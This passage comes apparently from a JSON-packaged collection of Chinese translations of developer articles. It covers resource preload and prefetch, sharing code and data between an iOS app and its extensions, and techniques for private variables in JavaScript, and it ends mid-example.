的后备，它们适用于不同的场景，常常会导致不符合预期的二次获取。使用 preload 来获取当前需要任务否则使用 prefetch 来获取将来的任务，不要一起用。\n\n<img src=\"https://cdn-images-1.medium.com/max/1000/0*KKong0kz69LOteD3.\">\n\n不要指望 preload 和 fetch() 配合使用，在 Chrome 中这样使用将会导致二次的下载。这并不只发生在异步请求的情况我们有一个关于这个问题公开的 [bug](https://bugs.chromium.org/p/chromium/issues/detail?id=652228)。\n\n**对 preload 使用 “as” 属性，不然将不会从中获益**。\n\n如果你对你所 preload 的资源使用明确的 “as” 属性，比如说，脚本，你将会导致[二次获取](https://twitter.com/DasSurma/status/808791438171537408)。\n\n**preload 字体不带 crossorigin 也将会二次获取！** 确保你对 preload 的字体添加 [crossorigin](https://developer.mozilla.org/en-US/docs/Web/HTML/CORS_settings_attributes) 属性，否则他会被下载两次，这个请求使用匿名的跨域模式。这个建议也适用于字体文件在相同域名下，也适用于其他域名的获取(比如说默认的异步获取)。\n\n**存在 intergrity 属性的资源不能使用 preload 属性（目前）也会导致二次获取。**链接元素的 `[integrity](https://bugs.chromium.org/p/chromium/issues/detail?id=677022)` 属性目前还没有被支持，目前有一个关于它的开放[issue](https://github.com/w3c/webappsec-subresource-integrity/issues/26)，这意味着存在 integrity 的元素将会丢弃 preload 的资源。往宽了讲，这会导致重复的请求，你需要在安全和性能之间作出权衡。\n\n最后，虽然它不会导致二次获取，还是有下面的建议：\n\n**不要 preload 所有东西！** 作为替代的，用 preload 来告诉浏览器一些本来不能被提早发现的资源，以便提早获取它们。\n\n### 我应当在页面头部加载所有的资源文件吗？有什么建议比如说限制“只加载6个文件”？\n\n这是**工具而不是规则**的好例子。你 preload 的文件数量取决于加载其他资源时网络内容、用户的带宽和其他网络状况。\n\n尽早 preload 页面中可能需要的文件，对于脚本文件，preload 关键打包文件很有用因为它将加载与执行分离开来，`script async`不好因为它会阻塞 window 的 onload 事件。你可以尽早加载图片、样式、字体和媒体资源。大部分的 —— 最重要的是，你作为作者是可以清晰的知道哪些东西是页面目前需要的。\n\n### prefetch 有哪些你需要知道的魔法属性吗？当然\n\n在 Chrome 中，如果用户从一个页面跳转到另一个页面，prefetch 发起的请求仍会进行不会中断。\n\n另外，prefetch 的资源在网络堆栈中至少缓存 5 分钟，无论它是不是可以缓存的。\n\n### 我在 JS 中使用自定义的 “preload”，它跟原本的 rel=\"preload\" 或者 preload 头部有什么不同？\n\npreload 将资源获取与执行解耦，像这样，preload 在标记中声明以被 Chrome preload 扫描器扫描。这意味着，在许多案例中，在 HTML 解析器获取到标签之前，preload 就会被获取（用它声明的优先级）。这将会比自定义的 preload 更加强大。\n\n### 等一下，我不是可以用 HTTP/2 的服务器推送来代替 preload 吗？\n\n当你知道资源加载的正确顺序时使用推送，用 service worker 来拦截那些可能需要会导致二次获取的资源请求，用 preload 来加快第一个请求的开始时间 —— 这对所有的资源获取都有用。\n\n再次说一下，这都要看[情况](https://docs.google.com/document/d/1K0NykTXBbbbTlv60t5MyJvXjqKGsCVNYHyLEXIxYMv0/edit)，我们试想一下位 Google Play 商店做购物车，对于一个向购物车的请求：\n\n用 preload 来加载页面的主要的模块需要浏览器等待 play.google.com/cart 有效载荷以便 preload 扫描器发现依赖，但这之后会浸透网络管道可以更好的像资源发起请求，这可能不是最理想的冷启动，但对于高速缓存和带宽的后续请求非常友好。\n\n使用 HTTP/2 的服务器推送，当请求 play.google.com/cart 我们可以快速浸透网络管道，但如果资源已经在 HTTP 或者 Service Worker 缓存中的话我们就浪费了带宽，两种方法都需要做出权衡。\n\n虽然推送很有效，但它不像 preload 那样对所有的情况都适应。\n\npreload 利于下载与执行的解耦，多亏其对文档 onload 事件的支持我们现在可以控制其加载完毕后的事件，获取 JS 包文件在空闲快执行或者获取 CSS 模块在正确的时间点执行，可以说是非常强大的。\n\n推送不能用于第三方资源的内容，通过立即发送资源，它还有效地缩短浏览器自身的资源优先级情况。在你明确的知道在做什么时，这应该会提高你的应用性能，如果不是很清晰的话，你也许会损失掉部分的性能。\n\n### preload HTTP 头是什么？跟 preload 标签有什么不同？又跟 HTTP/2 服务器推送有什么不同？\n\n跟其他链接不同，preload 链接即可以放在 HTML 标签里也可以放在 HTTP 头部（[preload HTTP 头](https://w3c.github.io/preload/#server-push-http-2)），每种情况下，都会直接使浏览器加载资源并缓存在内存里，表明页面有很高的可能性用这些资源并且不想等待 preload 扫描器或者解析器去发现它。\n\n当金融时报在它们的网站使用 preload HTTP 头时，他们节约了**大约 [1s](https://twitter.com/wheresrhys/status/843252599902167040) 的显示片头图片时间**。\n\n<img src=\"https://cdn-images-1.medium.com/max/2000/1*QGUllBDRLMjdy1uawXG8EQ.jpeg\">\n\n下面的：使用 preload，上面：使用 preload。在 3G 网络下的 Moto G4 测试。\n\n原来：[https://www.webpagetest.org/result/170319_Z2_GFR/](https://www.webpagetest.org/result/170319_Z2_GFR/)，之后: [https://www.webpagetest.org/result/170319_R8_G4Q/](https://www.webpagetest.org/result/170319_R8_G4Q/)。你可以使用两种形式的 preload，但应当知道很重要的一点：根据规范，许多服务器当它们遇到 preload HTTP 头会发起 HTTP/2 推送，HTTP/2 推送的性能影响不同于普通的预加载，所以你要确保没有发起不必要的推送。\n\n你可以使用 preload 标签来代替 preload 头以避免不必要的推送，或者在你的 HTTP 头上加一个 “nopush” 属性。\n\n### 我怎样检测 link rel=preload 的支持情况呢？\n\n用下面的代码段可以检测`<link rel=”preload”>`是否被支持：\n\n\tconst preloadSupported = () => {\n\t      const link = document.createElement('link');\n\t      const relList = link.relList;\n\t      if (!relList || !relList.supports)\n\t        return false;\n\t      return relList.supports('preload');\n\t    };\n\nFilamentGroup 也有一个 [preload](https://github.com/filamentgroup/loadCSS/blob/master/src/cssrelpreload.js#L8-L14) 检测器 ，作为他们的异步 CSS 加载库 [loadCSS](https://github.com/filamentgroup/loadCSS) 的一部分。\n\n### 你可以让 preload的 CSS 样式表立即生效吗？\n\n当然，preload 支持基于异步加载的标记，使用 `<link rel=”preload”>` 的样式表使用 `onload` 事件立即应用到文档：\n\n\t<link rel=\"preload\" href=\"style.css\" onload=\"this.rel=stylesheet\">\n\n更多相关的例子，看一下 Yoav Weiss 很棒的[使用实例](http://yoavweiss.github.io/link_htmlspecial_16/#53)。\n\n### preload 还有哪些更广泛的应用？\n\n**根据 HTTPArchive，[很多网站](https://twitter.com/addyosmani/status/843254667316465664)应用 `<link rel=”preload”>` 来加载[字体](https://www.zachleat.com/web/preload/)，包括 Teen Vogue 和以上提到的其他网站：**\n\n<img src=\"https://cdn-images-1.medium.com/max/2000/1*osYEtZ6gZnmstK4fpcJTrg.png\">\n\n**[其他](https://twitter.com/addyosmani/status/843258951110074368)一些网站，比如 LifeHacker 和 JCPenny 用 FilamentGroup 的 [loadCSS](https://github.com/filamentgroup/loadCSS) 来异步加载 CSS:**\n\n<img src=\"https://cdn-images-1.medium.com/max/2000/1*BxecU2LjN-uGAW_uQgDTdw.png\">\n\n**有越来越多的渐进式 Web 应用程序（比如 Twitter.com 移动端， Flipkart 和 Housing）使用它来加载当前链接需要的脚本：**\n\n<img src=\"https://cdn-images-1.medium.com/max/2000/1*rppoHbaTTJQNVZBO4j_NAQ.png\">\n\n基本的观点是要保持高粒度而不是单片，所以任何应用都可以按需加载依赖或者预加载资源并放在缓存中。\n\n### 当前浏览器对 preload 和 prefetch 的支持度？\n\n根据 CanIUse 在 [Safari Tech Preview](https://developer.apple.com/safari/technology-preview/release-notes/)的调查看，`<link rel=\"preload\">` 大约有 [50%](http://caniuse.com/#feat=link-rel-preload) 的支持度，`<link rel=\"prefetch\">` 大约有 [70%](http://caniuse.com/#search=prefetch) 的支持度。\n`<link rel=\"preload\">` is available to [~50% ](http://caniuse.com/#feat=link-rel-preload)of the global population according to CanIUse and is implemented in the [Safari Tech Preview](https://developer.apple.com/safari/technology-preview/release-notes/). `<link rel=\"prefetch\">` is available to [71%](http://caniuse.com/#search=prefetch) of global users.\n\n### 更多有用的见解\n\n* Yoav Weiss 最近对 Chrome 里 preload CSS 和 阻塞的脚本做了[更改](https://twitter.com/yoavweiss/status/843810722383630337%20)。\n* 他最近还把 preload 媒体[分成](https://groups.google.com/a/chromium.org/forum/#!topic/blink-dev/BN6tqGLBmuI)三个不同的类型：video、audio 和 track。\n* Domenic Denicola 正在[寻求](https://github.com/whatwg/html/pull/2383)规格的改变以便支持 ES6 模块。\n* Yoav Weiss 最近还增加了在 HTTP 头部支持 [Link header support for “prefetch”](https://groups.google.com/a/chromium.org/forum/#!msg/blink-dev/8Zo2HiNEs94/h8mDVkx0EwAJ) 以便更容易的加载下一个页面的资源。\n\n### 拓展阅读\n\n- [Preload — what is it good for?](https://www.smashingmagazine.com/2016/02/preload-what-is-it-good-for/) — Yoav Weiss\n- [A <link rel=”preload”> study](https://twitter.com/ChromiumDev/status/837715866078752768) by the Chrome Data Saver team\n- [Planning for performance](https://www.youtube.com/watch?v=RWLzUnESylc) — Sam Saccone\n- [Webpack plugin](https://github.com/googlechrome/preload-webpack-plugin) for auto-wiring up <link rel=”preload”>\n- [What is preload, prefetch and preconnect?](https://www.keycdn.com/blog/resource-hints/) — KeyCDN\n- [Web Fonts preloaded](https://www.zachleat.com/web/preload/) by Zach Leat\n- [HTTP Caching: cache-control](https://www.google.com/url?q=https://developers.google.com/web/fundamentals/performance/optimizing-content-efficiency/http-caching%23cache-control&amp;sa=D&amp;ust=1490641457910000&amp;usg=AFQjCNEb6fMArN_ahD7ySMICPF1Obf4rsw) by Ilya Grigorik\n\n感谢 @ShopifyEng、@AdityaPunjani、@HousingEngg、@adgad、@wheresrhys 和 @__lakshya 分享的统计信息。\n\n***非常感谢下列技术审核与建议人员: Ilya Grigorik, Gray Norton, Yoav Weiss, Pat Meenan, Kenji Baheux, Surma, Sam Saccone, Charles Harrison, Paul Irish, Matt Gaunt, Dru Knox, Scott Jehl.***\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/preparing-ios-app-for-extensions.md",
    "content": "> * 原文地址：[Preparing Your iOS App for Extensions](https://www.raizlabs.com/dev/2016/09/preparing-ios-app-for-extensions/)\n* 原文作者：[NICK BONATSAKIS](https://www.raizlabs.com/dev/author/nbonatsakis/)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[jiakeqi](https://github.com/jiakeqi)\n* 校对者：[Newt0n](https://github.com/Newt0n) [zhouzihanntu](https://github.com/zhouzihanntu)\n\n# 让你的应用支持 iOS 10 系统扩展\n\niOS 10 和 watchOS 3 给开发者们带来许多令人激动的新系统扩展点。从 Siri 到 Messages，应用与系统交互的方法不断增加。\n\n这些新的集成方式，和大量现有的集成，通常以应用扩展的方式加入进来。苹果的[应用扩展编程指南](https://developer.apple.com/library/ios/documentation/General/Conceptual/ExtensibilityPG/):\n> “当用户在和其他应用或系统交互时，应用扩展能够让你提供超过 App 本身的定制化功能和内容。”\n\n因为一个应用扩展是一个完全分离的实体(从你的应用进程彻底独立出来的进程)，它需要一个途径去和父应用共享功能和数据。考虑到一个健身应用允许用户用 Siri 扩展来开始锻炼，而应用和 Siri 扩展都需要访问用户创建的锻炼，锻炼搜索功能 和附加的用户偏好设置。\n\n好消息是，苹果提供了一些机制，使得这种数据和功能共享成为可能的。坏消息是，迁移一个古老而复杂的项目去使用这些机制的过程并不简单。本文的目的是指引你通过一些细节把的旧 iOS 项目整理好,并为应用扩展做准备。\n\n## 扩展的共享代码\n\n在你的项目中。如果你打算在应用和应用扩展中实现共享,首先和最重要的方面是代码本身。最简单粗暴的方法是把任何你打算共享的代码都同时添加到目标应用和应用扩展中。如果你这样做了。不仅会导致重复编译全部代码，还会收到我的轻视和嘲讽。共享代码的另一个更好的方法是通过嵌入式的动态库来实现，下面是如何进行的一些高级步骤，在对现有项目改动时，以及对现有项目改动时的一些特殊注意事项。\n\n\n## 创建动态库\n\n 创建一个新的动态库 (**File** → **New** → **Target**; 选择 **Framework & Library** → **Cocoa Touch Framework**)。会在你的项目结构中和磁盘目录下创建一个新的工程。\n\n[![Choosing Cocoa Touch Framework from File → New → Target → Framework & Library](https://www.raizlabs.com/dev/wp-content/uploads/sites/10/2016/08/Cocoa-Touch-Framework.png)](http://www.raizlabs.com/dev/wp-content/uploads/sites/10/2016/08/Cocoa-Touch-Framework.png)\n\n在现有的项目中，我会假定你迁移了 Objective-C 代码。如果是这种情况，请确保你在创建工程时选择了 **Objective-C** 作为语言类型。这不会阻止你在后续添加  Swift 代码，只是如果你这样做了，你需要注意以下几点:\n\n在你的应用扩展[工程配置](https://developer.apple.com/library/ios/featuredarticles/XcodeConcepts/Concept-Targets.html)中。你可以在 **General** 标签中开启 **Allow app extension API only** 选项，这将确保你不会访问任何在应用扩展里不可用的系统 API ，从而确保你的框架可以同时在应用和扩展中使用。\n\n## 移动代码\n\n添加你想要共享的资源文件到新的动态库工程,并且从应用工程中删除掉。从尽可能保留最少的代码开始，然后在你解决各种提取功能时遇到问题的过程中, 共享越来越多的代码，这将会是个不错的主意。也强烈建议您在移动磁盘上的文件（而不仅仅是项目内的文件），以避免工程文件所有权出现冲突。\n\n## 配置主头文件\n\n当你创建一个新的库工程，Xcode会自动为你创建一个主文件头，如果你想把这个库给其他人使用，这个就是为 Objective-C 代码指定的头文件，例如你的主要应用和扩展\n这是一个名为 “Services” 的库的主头文件的简单示例：\n\n\n\n\n\n\n    //! Project version number for Services.\n\n    FOUNDATION_EXPORT doubleServicesVersionNumber;\n\n    //! Project version string for Services.\n\n    FOUNDATION_EXPORT const unsignedcharServicesVersionString[];\n\n    #import <Services/Utilities.h>\n\n    #import <Services/DataService.h>\n\n    #import <Services/WorkoutService.h>\n\n\n\n\n还要注意的是，指定一个文件头的不够的: 还必须要选中这个头文件，并在属性检查器( Xcode 右边面板)中更改可见度为 **Public** \n\n[![Setting the umbrella header's visibility to Public](https://www.raizlabs.com/dev/wp-content/uploads/sites/10/2016/08/Public-Visibility.png)](http://www.raizlabs.com/dev/wp-content/uploads/sites/10/2016/08/Public-Visibility.png)\n\n最后，请记住，对于 Swift 代码稍有不同，在工程配置中或主头文件引用时不再需要配置可见度，对比可以看出，所有 Swift 代码的可见度是由语言直接控制的 [访问控制特性](https://developer.apple.com/library/ios/documentation/Swift/Conceptual/Swift_Programming_Language/AccessControl.html) (`private`，`internal`，和 `public`)。\n\n## 其他注意事项\n\n创建新动态库时要考虑的一些较轻微的陷阱，正如前面提到的，你其实可以在 Objective-C 库中引用 Swift 代码，并在一般情况下，事情会像你所期望的那样。\n\n在写代码时，似乎不用为 Objective-C 代码创建桥接头文件，如果你想在 Objective-C 代码中 使用 Swift (动态库内)，它将是公开头文件的一部分(例如。引用主文件头)，当使用桥接头文件时，以这种方式公开暴露的 Objective-C 代码在你的静态库 Swift 代码中是自动可用的，相反(从 Objective-C 内访问 Swift 库)，你只需要引入自动生成的 Swift 文件头 (例如 `#import &lt;MyServices/MyServices-Swift.h&gt;`)。这样做会根据你指定的访问控制暴露 Swift 代码。\n\n\n## 使用动态库\n\n创建和配置新动态库之后， 即可在应用和应用扩展中使用。第一个任务是在应用和扩展中的工程的 **Embedded Binaries** 配置中引入依赖项:\n\n[![Add your framework under Embedded Binaries for both app and extension](https://www.raizlabs.com/dev/wp-content/uploads/sites/10/2016/08/Embedded-Binaries.png)](http://www.raizlabs.com/dev/wp-content/uploads/sites/10/2016/08/Embedded-Binaries.png)\n\n注: 在每个工程的 Xcode 工程设置中的 **General** 面板\n\n一旦你引入了这个动态库，接下来就简单多了，在 Swift 中  `import Services` 和在 Objective-C 中 `@import Services;` 都能引用这个模块。\n\n## 共享数据\n\n如果你的主应用和应用扩展都需要访问应用写入到磁盘中的用户数据，仅仅迁移代码到动态库内是不够的。因为应用扩展没有主应用那样的权限来访问这些文件，所以访问不到你写到沙盒空间的数据。\n\n## 创建一个应用组\n\n解决这个问题的办法是,为你的应用和在一个共享位置读写创建并配置一个应用组，而非主应用的文件层级。这适用于任何文件 I/O 去执行代码的共享库，不管是与文件直接交互，还是使用一个像磁盘文件支持核心数据的抽象层。\n\n创建一个新的应用组，首先你需要按照 [苹果开发者入门](https://developer.apple.com/account/) 下的 **App Groups** 创建应用组。使用像应用标识符相同的方式，以反转域名命名(例如: `com.mycompany.AwesomeWorkouts` )。一旦你创建应用组之后，你需要每个工程的应用和应用扩展中打开  **Capabilities** 选项\n\n[![Click this switch to enable the app group](https://www.raizlabs.com/dev/wp-content/uploads/sites/10/2016/08/App-Groups.png)](http://www.raizlabs.com/dev/wp-content/uploads/sites/10/2016/08/App-Groups.png)\n\n请确认你的项目小组是配置好的，然后点击右边的开启应用组。Xcode 使用一些黑魔法后，你会在个人账户中看到应用组的列表，为每个创建的应用和扩展开启允许访问共享数据。\n\n## 访问共享容器\n\n现在你的应用和应用扩展可以访问应用组了，是时候更改所有文件 I/O 代码去指向应用组的共享容器，而不是 app-specific 的位置。这可以为共享容器获取根目录 (注: 在写本文的时候，Swift 3 是最新语言版本):\n\n\n\n\n\n    let rootURL=FileManager.default().containerURLForSecurityApplicationGroupIdentifier(\"group.com.mycompany.AwesomeWorkouts\")\n\n\n\n\n这将给你一个根目录，用来读写应用和扩展，请注意在操作应用组标识符时，你必须以 “group.” 开头，否则会查询失败。\n\n## 迁移\n\n现在你已经配置了应用和应用扩展从一个共享位置访问数据。你的应用的新用户开始是没有问题的。可是，用户使用现有数据时将会突然失去他们所有的数据。嘘，这是当然的! 因为你更改了所有代码去指向新的共享位置，因此所有当前数据都被留在废弃的应用里。\n\n解决这个问题有很多方式。但是最直接的方式是当第一次打开新版本应用时，执行一次性迁移。编写一些只在旧的位置有数据（沙盒）运行的代码，并不在新的位置（共享容器）没数据时运行，如果这两个条件都满足。复制必要的数据到共享容器中，则是件愉快的事情。要确保任何代码试图读取文件系统之前执行此迁移。这还包括核心数据的初始化。\n\n## 共享配置\n\n处理代码和数据共享之后，你还有一个应用设置的问题没解决。最常见保存这些数据的方法是通过 `NSUserDefaults`。不幸的时，像默认的 iOS 的传统文件 I/O 一样，这个方法有同样的问题，用户默认都储存在只有主应用才能访问的位置。幸运的是，这里有两个非常容易的方法去给应用和扩展暴露这些数据。\n\n## 应用组\n\n让我们再次完善下旧应用组。正如你可以写文件数据到共享容器。你也可以通过应用组去读写用户默认值。而不是访问标准默认值。访问共享容器默认值像下面这样:\n\n\n\n\n\n    let defaults=UserDefaults(suiteName:\"group.com.mycompany.MyApp\")\n\n\n\n\n你还要通过一个类似的迁移进程，复制所有旧用户默认值到新的用户默认值。文件迁移时，优先访问任何项目。\n\n## iCloud Key-Value 存储\n\n第二个共享用户设置的方法是利用 [iCloud Key-Value 存储](https://developer.apple.com/library/mac/documentation/General/Conceptual/iCloudDesignGuide/Chapters/DesigningForKey-ValueDataIniCloud.html) 。\n有一个关于如何使用这个系统的不错的现有文档。你可以在应用扩展和以及应用中访问 key-value 存储，因为这是用来共享配置数据很合适的方法。如果你已经为配置数据使用了 iCloud Key-value 存储。就完成了! 只需通过共享库访问它。如果你在纠结使用哪个方法。我认为这种方法更好，因为即使应用被删除了，你的用户配置数据也会同步到多设备。\n\n\n## 总结\n\n就是这样! 一旦你完成了上面的步骤。[你的旧项目将会大放异彩](https://www.youtube.com/watch?v=ha-uagjJQ9k)。抽出抽象共享数据和服务到嵌入式框架可能看起来工作量艰巨，但鉴于苹果公司的移动方向(在许多不同的环境中运行通用代码)。它可以让你像介绍的那样更方便地采用新的应用扩展。iOS 的未来是系统底层指引着应用。确保符合苹果最新的架构的最佳实践，会让的应用不断取得成功。\n\n如果本文没有让你觉得不着边际的废话(或者有)，欢迎到 Twitter [@nickbona](https://twitter.com/nickbona) 上关注我，我会在这里聊聊软件开发和技术。\n\n\n\n\n\n\n"
  },
  {
    "path": "TODO/private-variables-in-javascript.md",
    "content": "> * 原文地址：[Private Variables in JavaScript](https://marcusnoble.co.uk/2018-02-04-private-variables-in-javascript/)\n> * 原文作者：[Marcus Noble](https://marcusnoble.co.uk/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/private-variables-in-javascript.md](https://github.com/xitu/gold-miner/blob/master/TODO/private-variables-in-javascript.md)\n> * 译者：[Noah Gao](https://noahgao.net)\n> * 校对者：[老教授](https://juejin.im/user/58ff449a61ff4b00667a745c) [ryouaki](https://github.com/ryouaki)\n\n# JavaScript 中的私有变量\n\n最近 JavaScript 有了很多改进，新的语法和功能一直在被增加进来。但有些东西并没有改变，一切仍然是对象，几乎所有东西都可以在运行时被改变，并且没有公共、私有属性的概念。但是我们自己可以用一些技巧来改变这种情况，在这篇文章中，我介绍各种可以实现私有变量的方式。\n\n在 2015 年，JavaScript 有了 [类](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes) ，对于那些从 更传统的 C 语系语言（如 Java 和 C#）过来的程序员们，他们会更熟悉这种操作对象的方式。但是很明显，这些类不像你习惯的那样 -- 它的属性没有修饰符来控制访问，并且所有属性都需要在函数中定义。\n\n那么我们如何才能保护那些不应该在运行时被改变的数据呢？我们来看看一些选项。\n\n> 在整篇文章中，我将反复用到一个用于构建形状的示例类。它的宽度和高度只能在初始化时设置，提供一个属性来获取面积。有关这些示例中使用的 `get` 关键字的更多信息，请参阅我之前的文章 [Getters 和 Setters](https://marcusnoble.co.uk/2018-01-26-getters-and-setters-in-javascript)。\n\n## 命名约定\n\n第一个也是最成熟的方法是使用特定的命名约定来表示属性应该被视为私有。通常以下划线作为属性名称的前缀（例如 `_count` ）。这并没有真正阻止变量被访问或修改，而是依赖于开发者之间的相互理解，认为这个变量应该被视为限制访问。\n\n``` javascript\nclass Shape {\n  constructor(width, height) {\n    this._width = width;\n    this._height = height;\n  }\n  get area() {\n    return this._width * this._height;\n  }\n}\n\nconst square = new Shape(10, 10);\nconsole.log(square.area);    // 100\nconsole.log(square._width);  // 10\n```\n\n## WeakMap\n\n想要稍有一些限制性，您可以使用 WeakMap 来存储所有私有值。这仍然不会阻止对数据的访问，但它将私有值与用户可操作的对象分开。对于这种技术，我们将 WeakMap 的关键字设置为私有属性所属对象的实例，并且我们使用一个函数（我们称之为 `internal` ）来创建或返回一个对象，所有的属性将被存储在其中。这种技术的好处是在遍历属性时或者在执行 `JSON.stringify` 时不会展示出实例的私有属性，但它依赖于一个放在类外面的可以访问和操作的 WeakMap 变量。\n\n```javascript\nconst map = new WeakMap();\n\n// 创建一个在每个实例中存储私有变量的对象\nconst internal = obj => {\n  if (!map.has(obj)) {\n    map.set(obj, {});\n  }\n  return map.get(obj);\n}\n\nclass Shape {\n  constructor(width, height) {\n    internal(this).width = width;\n    internal(this).height = height;\n  }\n  get area() {\n    return internal(this).width * internal(this).height;\n  }\n}\n\nconst square = new Shape(10, 10);\nconsole.log(square.area);      // 100\nconsole.log(map.get(square));  // { height: 100, width: 100 }\n```\n\n## Symbol\n\nSymbol 的实现方式与 WeakMap 十分相近。在这里，我们可以使用 [Symbol](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol) 作为 key 的方式创建实例上的属性。这可以防止该属性在遍历或使用 `JSON.stringify` 时可见。不过这种技术需要为每个私有属性创建一个 Symbol。如果您在类外可以访问该 Symbol，那你还是可以拿到这个私有属性。\n\n```javascript\nconst widthSymbol = Symbol('width');\nconst heightSymbol = Symbol('height');\n\nclass Shape {\n  constructor(width, height) {\n    this[widthSymbol] = width;\n    this[heightSymbol] = height;\n  }\n  get area() {\n    return this[widthSymbol] * this[heightSymbol];\n  }\n}\n\nconst square = new Shape(10, 10);\nconsole.log(square.area);         // 100\nconsole.log(square.widthSymbol);  // undefined\nconsole.log(square[widthSymbol]); // 10\n```\n\n## 闭包\n\n到目前为止所显示的所有技术仍然允许从类外访问私有属性，闭包为我们提供了一种解决方法。如果您愿意，可以将闭包与 WeakMap 或 Symbol 一起使用，但这种方法也可以与标准 JavaScript 对象一起使用。闭包背后的想法是将数据封装在调用时创建的函数作用域内，但是从内部返回函数的结果，从而使这一作用域无法从外部访问。\n\n```javascript\nfunction Shape() {\n  // 私有变量集\n  const this$ = {};\n\n  class Shape {\n    constructor(width, height) {\n      this$.width = width;\n      this$.height = height;\n    }\n\n    get area() {\n      return this$.width * this$.height;\n    }\n  }\n\n  return new Shape(...arguments);\n}\n\nconst square = new Shape(10, 10);\nconsole.log(square.area);  // 100\nconsole.log(square.width); // undefined\n```\n\n这种技术存在一个小问题，我们现在存在两个不同的 `Shape` 对象。代码将调用外部的 `Shape` 并与之交互，但返回的实例将是内部的 `Shape`。这在大多数情况下可能不是什么大问题，但会导致 `square instanceof Shape` 表达式返回 `false`，这可能会成为代码中的问题所在。\n\n解决这一问题的方法是将外部的 Shape 设置为返回实例的原型：\n\n```javascript\nreturn Object.setPrototypeOf(new Shape(...arguments), this);\n```\n\n不幸的是，这还不够，只更新这一行现在会将 `square.area` 视为未定义。这是由于 `get` 关键字在幕后工作的缘故。我们可以通过在构造函数中手动指定 getter 来解决这个问题。\n\n```javascript\nfunction Shape() {\n  // 私有变量集\n  const this$ = {};\n\n  class Shape {\n    constructor(width, height) {\n      this$.width = width;\n      this$.height = height;\n\n      Object.defineProperty(this, 'area', {\n        get: function() {\n          return this$.width * this$.height;\n        }\n      });\n    }\n  }\n\n  return Object.setPrototypeOf(new Shape(...arguments), this);\n}\n\nconst square = new Shape(10, 10);\nconsole.log(square.area);             // 100\nconsole.log(square.width);            // undefined\nconsole.log(square instanceof Shape); // true\n```\n\n或者，我们可以将 `this` 设置为实例原型的原型，这样我们就可以同时使用 `instanceof` 和 `get`。在下面的例子中，我们有一个原型链 `Object -> 外部的 Shape -> 内部的 Shape 原型 -> 内部的 Shape`。\n\n```javascript\nfunction Shape() {\n  // 私有变量集\n  const this$ = {};\n\n  class Shape {\n    constructor(width, height) {\n      this$.width = width;\n      this$.height = height;\n    }\n\n    get area() {\n      return this$.width * this$.height;\n    }\n  }\n\n  const instance = new Shape(...arguments);\n  Object.setPrototypeOf(Object.getPrototypeOf(instance), this);\n  return instance;\n}\n\nconst square = new Shape(10, 10);\nconsole.log(square.area);             // 100\nconsole.log(square.width);            // undefined\nconsole.log(square instanceof Shape); // true\n```\n\n## Proxy\n\n[Proxy](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy) 是 JavaScript 中一项美妙的新功能，它将允许你有效地将对象包装在名为 Proxy 的对象中，并拦截与该对象的所有交互。我们将使用 Proxy 并遵照上面的 `命名约定` 来创建私有变量，但可以让这些私有变量在类外部访问受限。\n\nProxy 可以拦截许多不同类型的交互，但我们要关注的是 [`get`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler/get) 和 [`set`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler/set)，Proxy 允许我们分别拦截对一个属性的读取和写入操作。创建 Proxy 时，你将提供两个参数，第一个是您打算包裹的实例，第二个是您定义的希望拦截不同方法的 “处理器” 对象。\n\n我们的处理器将会看起来像是这样：\n\n```javascript\nconst handler = {\n  get: function(target, key) {\n    if (key[0] === '_') {\n      throw new Error('Attempt to access private property');\n    }\n    return target[key];\n  },\n  set: function(target, key, value) {\n    if (key[0] === '_') {\n      throw new Error('Attempt to access private property');\n    }\n    target[key] = value;\n  }\n};\n```\n\n在每种情况下，我们都会检查被访问的属性的名称是否以下划线开头，如果是的话我们就抛出一个错误从而阻止对它的访问。\n\n```javascript\nclass Shape {\n  constructor(width, height) {\n    this._width = width;\n    this._height = height;\n  }\n  get area() {\n    return this._width * this._height;\n  }\n}\n\nconst handler = {\n  get: function(target, key) {\n    if (key[0] === '_') {\n      throw new Error('Attempt to access private property');\n    }\n    return target[key];\n  },\n  set: function(target, key, value) {\n    if (key[0] === '_') {\n      throw new Error('Attempt to access private property');\n    }\n    target[key] = value;\n  }\n}\n\nconst square = new Proxy(new Shape(10, 10), handler);\nconsole.log(square.area);             // 100\nconsole.log(square instanceof Shape); // true\nsquare._width = 200;                  // 错误：试图访问私有属性\n```\n\n正如你在这个例子中看到的那样，我们保留使用 `instanceof` 的能力，也就不会出现一些意想不到的结果。\n\n不幸的是，当我们尝试执行 `JSON.stringify` 时会出现问题，因为它试图对私有属性进行格式化。为了解决这个问题，我们需要重写 `toJSON` 函数来仅返回“公共的”属性。我们可以通过更新我们的 get 处理器来处理 `toJSON` 的特定情况：\n\n> 注：这将覆盖任何自定义的 `toJSON` 函数。\n\n```javascript\nget: function(target, key) {\n  if (key[0] === '_') {\n    throw new Error('Attempt to access private property');\n  } else if (key === 'toJSON') {\n    const obj = {};\n    for (const key in target) {\n      if (key[0] !== '_') {           // 只复制公共属性\n        obj[key] = target[key];\n      }\n    }\n    return () => obj;\n  }\n  return target[key];\n}\n```\n\n我们现在已经封闭了我们的私有属性，而预计的功能仍然存在，唯一的警告是我们的私有属性仍然可被遍历。`for(const key in square)` 会列出 `_width` 和 `_height`。谢天谢地，这里也提供一个处理器！我们也可以拦截对 `getOwnPropertyDescriptor` 的调用并操作我们的私有属性的输出：\n\n```javascript\ngetOwnPropertyDescriptor(target, key) {\n  const desc = 